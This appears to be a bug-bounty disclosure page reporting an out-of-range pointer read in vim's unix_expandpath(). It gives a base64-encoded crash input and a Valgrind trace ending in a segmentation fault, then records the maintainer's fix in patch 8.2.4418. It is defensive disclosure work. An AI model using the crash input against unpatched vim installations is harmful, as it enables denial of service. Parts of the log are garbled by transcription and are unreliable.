Use of Out-of-range Pointer Offset in vim/vim



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Description

Using out-of-range Pointer Offset occurs in unix_expandpath(). commit: e89bfd212b21c227f026e467f882c62cdd6e642d

Proof of Concept

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$ echo -ne "c2UgbWwgd2ljCnRj+42NjaYq" | base64 -d > poc
# valgrind
$ ~/valgrind/vg-in-place -s ~/vim-debug/src/vim.debug -u NONE -i NONE -n ->
==1432983== Memcheck, a memory error detector
==1432983== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1432983== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrig
==1432983== Command: /home/alkyne/vim-debug/src/vim.debug -u NONE -i NONE -
==1432983==
==1432983== Invalid read of size 2
               at 0x1F3D40: unix expandpath (filepath.c:3629)
==1432983==
               by 0x2972D3: mch expandpath (os unix.c:6526)
==1432983==
               by 0x1F4976: gen expand wildcards (filepath.c:3971)
==1432983==
==1432983==
               by 0x1F3596: expand wildcards (filepath.c:3122)
==1432983==
               by 0x1F3520: expand wildcards eval (filepath.c:3093)
               by 0x166945: expand files and dirs (cmdexpand.c:2255)
==1432983==
               by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983==
               by 0x1637A9: ExpandOne start (cmdexpand.c:430)
==1432983==
               by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983==
==1432983==
               by 0x1D05F7: expand filename (ex docmd.c:4984)
==1432983==
               by 0x1CB10B: do one cmd (ex docmd.c:2507)
               by 0x1C84D6: do cmdline (ex docmd.c:993)
==1432983==
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             Address 0xba37938 is not stack'd, malloc'd or
==1432983==
==1432983==
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==1432983==
==1432983== Process terminating with default action of signal 11 (SIGSEGV):
               at 0x4A5055B: kill (syscall-template.S:78)
==1432983==
               by 0x293982: may core dump (os unix.c:3508)
==1432983==
               by 0x293936: mch exit (os unix.c:3474)
==1432983==
               by 0x411D66: getout (main.c:1719)
==1432983==
==1432983==
               by 0x25691C: preserve exit (misc1.c:2194)
               by 0x291D57: deathtrap (os unix.c:1154)
==1432983==
               by 0x4A5020F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.sc
==1432983==
               by 0x1F3D3F: unix_expandpath (filepath.c:3629)
==1432983==
==1432983==
               by 0x2972D3: mch expandpath (os unix.c:6526)
==1432983==
               by 0x1F4976: gen expand wildcards (filepath.c:3971)
               by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==
==1432983==
               by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==
==1432983== HEAP SUMMARY:
==1432983==
                in use at exit: 100,893 bytes in 474 blocks
==1432983==
              total heap usage: 1,031 allocs, 557 frees, 213,517 bytes allo
==1432983==
==1432983== LEAK SUMMARY:
               definitely lost: 1,232 bytes in 1 blocks
==1432983==
               indirectly lost: 0 bytes in 0 blocks
==1432983==
                 possibly lost: 0 bytes in 0 blocks
==1432983==
==1432983==
               still reachable: 99,661 bytes in 473 blocks
                    suppressed: 0 bytes in 0 blocks
==1432983==
==1432983== Rerun with --leak-check=full to see details of leaked memory
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==1432983==
==1432983== 1 \text{ errors in context } 1 \text{ of } 1:
==1432983== Invalid read of size 2
==1432983==
               at 0x1F3D40: unix expandpath (filepath.c:3629)
               by 0x2972D3: mch expandpath (os unix.c:6526)
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               by 0x1F4976: gen expand wildcards (filepath.c:3971)
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==1432983==
               by 0x1F3520: expand wildcards eval (filepath.c:3093)
==1432983==
==1432983==
               by 0x166945: expand files and dirs (cmdexpand.c:2255)
               by 0x166C1D: ExpandFromContext (cmdexpand.c:2/10)
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==1432983==
               by 0x1637A9: ExpandOne start (cmdexpand.c:43
               by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983==
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by UX1DU5F/: expand_tilename (ex_docmd.c:4984)
==1432983==
               by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983==
==1432983==
               by 0x1C84D6: do cmdline (ex docmd.c:993)
==1432983== Address 0xba37938 is not stack'd, malloc'd or (recently) free'
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
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Occurrences

C filepath.c L3629

CVE

Vulnerability Type

CWE-823: Use of Out-of-range Pointer Offset

Severity

Visibility

Status

Found by



alkyne Choi

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Fixed by



Bram Moolenaar

maintainer

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This report was seen 1,819 times.

We are processing your report and will contact the **vim** team within 24 hours. 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago

Maintainer

Fixed by patch 8.2.4418

Bram Moolenaar marked this as fixed in 8.2 with commit 5921ae 9 months ago

Bram Moolenaar has been awarded the fix bounty 🗸

This vulnerability will not receive a CVE x

filepath.c#L3629 has been validated ✓

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